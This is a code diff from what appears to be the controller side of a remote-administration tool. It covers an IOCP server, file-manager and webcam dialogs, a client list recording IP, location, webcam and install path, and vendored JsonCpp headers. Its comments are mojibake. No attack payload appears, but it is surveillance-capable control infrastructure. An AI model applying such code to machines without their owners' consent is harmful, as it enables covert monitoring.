// 密码的哈希值 // 密码的哈希值
// 提示请用hashSHA256函数获得密码的哈希值你应该用自己的密码生成哈希值并替换这个默认值. // 提示请用hashSHA256函数获得密码的哈希值你应该用自己的密码生成哈希值并替换这个默认值.
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" #define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// CPasswordDlg 对话框 // CPasswordDlg 对话框
std::string GetPwdHash();
std::string GetMasterId();
bool IsPwdHashValid(const char* pwdHash = nullptr);
bool WritePwdHash(char* target, const std::string& pwdHash);
class CPasswordDlg : public CDialogEx class CPasswordDlg : public CDialogEx
{ {

View File

@@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete()
} }
catch (CMemoryException* e) catch (CMemoryException* e)
{ {
OutputDebugStringA("[ERROR] CMemoryException\n"); Mprintf("[ERROR] CMemoryException\n");
} }
catch (CFileException* e) catch (CFileException* e)
{ {
OutputDebugStringA("[ERROR] CFileException\n"); Mprintf("[ERROR] CFileException\n");
} }
catch (CException* e) catch (CException* e)
{ {
OutputDebugStringA("[ERROR] CException\n"); Mprintf("[ERROR] CException\n");
} }
catch (...) { catch (...) {
OutputDebugStringA("[ERROR] Other exception\n"); Mprintf("[ERROR] Other exception\n");
} }
break; break;
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>

View File

@@ -329,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
DWORD IOCPServer::WorkThreadProc(LPVOID lParam) DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{ {
OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n"); Mprintf("======> IOCPServer WorkThreadProc begin \n");
IOCPServer* This = (IOCPServer*)(lParam); IOCPServer* This = (IOCPServer*)(lParam);
@@ -362,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
{ {
ContextObject->olps = NULL; ContextObject->olps = NULL;
OutputDebugStringA("!!! RemoveStaleContext \n"); Mprintf("!!! RemoveStaleContext \n");
This->RemoveStaleContext(ContextObject); This->RemoveStaleContext(ContextObject);
} }
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
@@ -416,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
ContextObject = NULL; ContextObject = NULL;
} }
catch (...) { catch (...) {
OutputDebugStringA("This->HandleIO catched an error!!!"); Mprintf("This->HandleIO catched an error!!!");
} }
} }
} }
@@ -432,7 +432,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (n == 0) { if (n == 0) {
Mprintf("======> IOCPServer All WorkThreadProc done\n"); Mprintf("======> IOCPServer All WorkThreadProc done\n");
} }
OutputDebugStringA("======> IOCPServer WorkThreadProc end \n"); Mprintf("======> IOCPServer WorkThreadProc end \n");
return 0; return 0;
} }
@@ -454,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
bRet = OnClientPostSending(ContextObject,dwTrans); bRet = OnClientPostSending(ContextObject,dwTrans);
break; break;
case IOIdle: case IOIdle:
OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n"); Mprintf("=> HandleIO PacketFlags= IOIdle\n");
break; break;
default: default:
break; break;
@@ -508,11 +508,11 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
} }
else if (ContextObject->CompressMethod == COMPRESS_NONE) { else if (ContextObject->CompressMethod == COMPRESS_NONE) {
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
ContextObject->Decode(CompressedBuffer, ulOriginalLength); ContextObject->Decode(CompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); m_NotifyProc(ContextObject);
SAFE_DELETE_ARRAY(CompressedBuffer); SAFE_DELETE_ARRAY(CompressedBuffer);
break; continue;
} }
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false; bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
@@ -522,17 +522,16 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet)) if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet))
{ {
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
//ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD> m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
}else if (usingZstd){ }else if (usingZstd){
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) { if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
ContextObject->CompressMethod = COMPRESS_ZLIB; ContextObject->CompressMethod = COMPRESS_ZLIB;
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); m_NotifyProc(ContextObject);
} else { } else {
zlibFailed = true; zlibFailed = true;
@@ -544,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
if (zlibFailed) { if (zlibFailed) {
OutputDebugStringA("[ERROR] ZLIB uncompress failed \n"); Mprintf("[ERROR] ZLIB uncompress failed \n");
throw "Bad Buffer"; throw "Bad Buffer";
} }
}else{ }else{
@@ -553,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
} }
}catch(...) }catch(...)
{ {
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n"); Mprintf("[ERROR] OnClientReceiving catch an error \n");
ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
} }
@@ -574,7 +573,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
else { else {
memcpy(buf, szBuffer, ulOriginalLength); memcpy(buf, szBuffer, ulOriginalLength);
} }
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n"); Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
} }
try try
{ {
@@ -582,7 +581,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
{ {
if (ulOriginalLength <= 0) return; if (ulOriginalLength <= 0) return;
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) { if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
OutputDebugStringA("[ERROR] UNKNOWN compress method \n"); Mprintf("[ERROR] UNKNOWN compress method \n");
return; return;
} }
else if (ContextObject->CompressMethod == COMPRESS_NONE) { else if (ContextObject->CompressMethod == COMPRESS_NONE) {
@@ -596,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
unsigned long ulCompressedLength = usingZstd ? unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12; ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
#endif #endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
ContextObject->Encode(szBuffer, ulOriginalLength); ContextObject->Encode(szBuffer, ulOriginalLength);
size_t iRet = usingZstd ? size_t iRet = usingZstd ?
@@ -605,15 +605,15 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet)) if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet))
{ {
OutputDebugStringA("[ERROR] compress failed \n"); Mprintf("[ERROR] compress failed \n");
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
return; return;
} }
ulCompressedLength = usingZstd ? iRet : ulCompressedLength; ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength); ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
}while (false); }while (false);
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
@@ -621,12 +621,12 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
}catch(...){ }catch(...){
OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n"); Mprintf("[ERROR] OnClientPreSending catch an error \n");
} }
} }
@@ -653,13 +653,13 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
} }
}catch(...){ }catch(...){
OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n"); Mprintf("[ERROR] OnClientPostSending catch an error \n");
} }
return FALSE; return FALSE;
@@ -775,7 +775,7 @@ void IOCPServer::OnAccept()
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
return; return;
@@ -800,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }

View File

@@ -4,6 +4,9 @@
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ws2_32.lib")
#include "CpuUseage.h" #include "CpuUseage.h"
#include "Buffer.h" #include "Buffer.h"
#define XXH_INLINE_ALL
#include "xxhash.h"
#if USING_CTX #if USING_CTX
#include "zstd/zstd.h" #include "zstd/zstd.h"
#endif #endif
@@ -20,6 +23,25 @@
std::string GetRemoteIP(SOCKET sock); std::string GetRemoteIP(SOCKET sock);
enum
{
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, // <20><>ַ
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, // CPU
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
ONLINELIST_MAX,
};
// Encoder interface. The default encoder will do nothing. // Encoder interface. The default encoder will do nothing.
class Encoder { class Encoder {
public: public:
@@ -172,7 +194,7 @@ enum IOType
typedef struct CONTEXT_OBJECT typedef struct CONTEXT_OBJECT
{ {
CString sClientInfo[10]; CString sClientInfo[ONLINELIST_MAX];
SOCKET sClientSocket; SOCKET sClientSocket;
WSABUF wsaInBuf; WSABUF wsaInBuf;
WSABUF wsaOutBuffer; WSABUF wsaOutBuffer;
@@ -185,21 +207,30 @@ typedef struct CONTEXT_OBJECT
void *olps; // OVERLAPPEDPLUS void *olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD> int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD> HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login
VOID InitMember() VOID InitMember()
{ {
memset(szBuffer,0,sizeof(char)*PACKET_LENGTH); memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
v1 = 0; v1 = 0;
hDlg = NULL; hDlg = NULL;
sClientSocket = INVALID_SOCKET; sClientSocket = INVALID_SOCKET;
memset(&wsaInBuf,0,sizeof(WSABUF)); memset(&wsaInBuf, 0, sizeof(WSABUF));
memset(&wsaOutBuffer,0,sizeof(WSABUF)); memset(&wsaOutBuffer, 0, sizeof(WSABUF));
olps = NULL; olps = NULL;
for (int i = 0; i < ONLINELIST_MAX; i++) {
sClientInfo[i].Empty();
}
CompressMethod = COMPRESS_ZSTD; CompressMethod = COMPRESS_ZSTD;
Parser.Reset(); Parser.Reset();
bLogin = FALSE;
m_bProxyConnected = FALSE;
} }
VOID SetClientInfo(CString s[10]){ VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX]){
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++) for (int i = 0; i < ONLINELIST_MAX; i++)
{ {
sClientInfo[i] = s[i]; sClientInfo[i] = s[i];
} }
@@ -250,6 +281,17 @@ typedef struct CONTEXT_OBJECT
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
} }
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s;
for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|";
}
s.Delete(s.GetLength() - 1);
return XXH64(s.GetString(), s.GetLength(), 0);
}
uint64_t GetID() const { return ID; }
void SetID(uint64_t id) { ID = id; }
}CONTEXT_OBJECT,*PCONTEXT_OBJECT; }CONTEXT_OBJECT,*PCONTEXT_OBJECT;
typedef CList<PCONTEXT_OBJECT> ContextObjectList; typedef CList<PCONTEXT_OBJECT> ContextObjectList;
@@ -324,37 +366,12 @@ public:
IOCPServer(void); IOCPServer(void);
~IOCPServer(void); ~IOCPServer(void);
void Destroy(); void Destroy();
void Disconnect(CONTEXT_OBJECT *ctx){}
pfnNotifyProc m_NotifyProc; pfnNotifyProc m_NotifyProc;
pfnOfflineProc m_OfflineProc; pfnOfflineProc m_OfflineProc;
}; };
class CLock typedef IOCPServer ISocketBase;
{
public:
CLock(CRITICAL_SECTION& cs)
{
m_cs = &cs;
Lock();
}
~CLock()
{
Unlock();
}
void Unlock()
{
LeaveCriticalSection(m_cs);
}
void Lock()
{
EnterCriticalSection(m_cs);
}
protected:
CRITICAL_SECTION* m_cs;
};
#define TRACK_OVERLAPPEDPLUS 0 #define TRACK_OVERLAPPEDPLUS 0
@@ -370,7 +387,7 @@ public:
#if TRACK_OVERLAPPEDPLUS #if TRACK_OVERLAPPEDPLUS
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); Mprintf(szLog);
#endif #endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType; m_ioType = ioType;
@@ -381,7 +398,7 @@ public:
#if TRACK_OVERLAPPEDPLUS #if TRACK_OVERLAPPEDPLUS
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); Mprintf(szLog);
#endif #endif
} }
}; };

View File

@@ -9,7 +9,7 @@
// CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
typedef struct typedef struct ItemData
{ {
DWORD ID; DWORD ID;
CString Data[3]; CString Data[3];

View File

@@ -308,7 +308,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
m_pVideoCodec = new CVideoCodec; m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
{ {
OutputDebugStringA("======> InitCompressor failed \n"); Mprintf("======> InitCompressor failed \n");
delete m_pVideoCodec; delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9> // <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL; m_pVideoCodec = NULL;

View File

@@ -0,0 +1,91 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ALLOCATOR_H_INCLUDED
#define JSON_ALLOCATOR_H_INCLUDED
#include <cstring>
#include <memory>
#pragma pack(push)
#pragma pack()
namespace Json {
template <typename T> class SecureAllocator {
public:
// Type definitions
using value_type = T;
using pointer = T*;
using const_pointer = const T*;
using reference = T&;
using const_reference = const T&;
using size_type = std::size_t;
using difference_type = std::ptrdiff_t;
/**
* Allocate memory for N items using the standard allocator.
*/
pointer allocate(size_type n) {
// allocate using "global operator new"
return static_cast<pointer>(::operator new(n * sizeof(T)));
}
/**
* Release memory which was allocated for N items at pointer P.
*
* The memory block is filled with zeroes before being released.
*/
void deallocate(pointer p, size_type n) {
// memset_s is used because memset may be optimized away by the compiler
memset_s(p, n * sizeof(T), 0, n * sizeof(T));
// free using "global operator delete"
::operator delete(p);
}
/**
* Construct an item in-place at pointer P.
*/
template <typename... Args> void construct(pointer p, Args&&... args) {
// construct using "placement new" and "perfect forwarding"
::new (static_cast<void*>(p)) T(std::forward<Args>(args)...);
}
size_type max_size() const { return size_t(-1) / sizeof(T); }
pointer address(reference x) const { return std::addressof(x); }
const_pointer address(const_reference x) const { return std::addressof(x); }
/**
* Destroy an item in-place at pointer P.
*/
void destroy(pointer p) {
// destroy using "explicit destructor"
p->~T();
}
// Boilerplate
SecureAllocator() {}
template <typename U> SecureAllocator(const SecureAllocator<U>&) {}
template <typename U> struct rebind {
using other = SecureAllocator<U>;
};
};
template <typename T, typename U>
bool operator==(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return true;
}
template <typename T, typename U>
bool operator!=(const SecureAllocator<T>&, const SecureAllocator<U>&) {
return false;
}
} // namespace Json
#pragma pack(pop)
#endif // JSON_ALLOCATOR_H_INCLUDED

View File

@@ -0,0 +1,61 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_ASSERTIONS_H_INCLUDED
#define JSON_ASSERTIONS_H_INCLUDED
#include <cstdlib>
#include <sstream>
#if !defined(JSON_IS_AMALGAMATION)
#include "config.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
/** It should not be possible for a maliciously designed file to
* cause an abort() or seg-fault, so these macros are used only
* for pre-condition violations and internal logic errors.
*/
#if JSON_USE_EXCEPTION
// @todo <= add detail about condition in exception
#define JSON_ASSERT(condition) \
do { \
if (!(condition)) { \
Json::throwLogicError("assert json failed"); \
} \
} while (0)
#define JSON_FAIL_MESSAGE(message) \
do { \
OStringStream oss; \
oss << message; \
Json::throwLogicError(oss.str()); \
abort(); \
} while (0)
#else // JSON_USE_EXCEPTION
#define JSON_ASSERT(condition) assert(condition)
// The call to assert() will show the failure message in debug builds. In
// release builds we abort, for a core-dump or debugger.
#define JSON_FAIL_MESSAGE(message) \
{ \
OStringStream oss; \
oss << message; \
assert(false && oss.str().c_str()); \
abort(); \
}
#endif
#define JSON_ASSERT_MESSAGE(condition, message) \
do { \
if (!(condition)) { \
JSON_FAIL_MESSAGE(message); \
} \
} while (0)
#endif // JSON_ASSERTIONS_H_INCLUDED

View File

@@ -0,0 +1,150 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_CONFIG_H_INCLUDED
#define JSON_CONFIG_H_INCLUDED
#include <cstddef>
#include <cstdint>
#include <istream>
#include <memory>
#include <ostream>
#include <sstream>
#include <string>
#include <type_traits>
// If non-zero, the library uses exceptions to report bad input instead of C
// assertion macros. The default is to use exceptions.
#ifndef JSON_USE_EXCEPTION
#define JSON_USE_EXCEPTION 1
#endif
// Temporary, tracked for removal with issue #982.
#ifndef JSON_USE_NULLREF
#define JSON_USE_NULLREF 1
#endif
/// If defined, indicates that the source file is amalgamated
/// to prevent private header inclusion.
/// Remarks: it is automatically defined in the generated amalgamated header.
// #define JSON_IS_AMALGAMATION
// Export macros for DLL visibility
#if defined(JSON_DLL_BUILD)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllexport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#elif defined(__GNUC__) || defined(__clang__)
#define JSON_API __attribute__((visibility("default")))
#endif // if defined(_MSC_VER)
#elif defined(JSON_DLL)
#if defined(_MSC_VER) || defined(__MINGW32__)
#define JSON_API __declspec(dllimport)
#define JSONCPP_DISABLE_DLL_INTERFACE_WARNING
#endif // if defined(_MSC_VER)
#endif // ifdef JSON_DLL_BUILD
#if !defined(JSON_API)
#define JSON_API
#endif
#if defined(_MSC_VER) && _MSC_VER < 1800
#error \
"ERROR: Visual Studio 12 (2013) with _MSC_VER=1800 is the oldest supported compiler with sufficient C++11 capabilities"
#endif
#if defined(_MSC_VER) && _MSC_VER < 1900
// As recommended at
// https://stackoverflow.com/questions/2915672/snprintf-and-visual-studio-2010
extern JSON_API int msvc_pre1900_c99_snprintf(char* outBuf, size_t size,
const char* format, ...);
#define jsoncpp_snprintf msvc_pre1900_c99_snprintf
#else
#define jsoncpp_snprintf std::snprintf
#endif
// If JSON_NO_INT64 is defined, then Json only support C++ "int" type for
// integer
// Storages, and 64 bits integer support is disabled.
// #define JSON_NO_INT64 1
// JSONCPP_OVERRIDE is maintained for backwards compatibility of external tools.
// C++11 should be used directly in JSONCPP.
#define JSONCPP_OVERRIDE override
#ifdef __clang__
#if __has_extension(attribute_deprecated_with_message)
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#endif
#elif defined(__GNUC__) // not clang (gcc comes later since clang emulates gcc)
#if (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5))
#define JSONCPP_DEPRECATED(message) __attribute__((deprecated(message)))
#elif (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1))
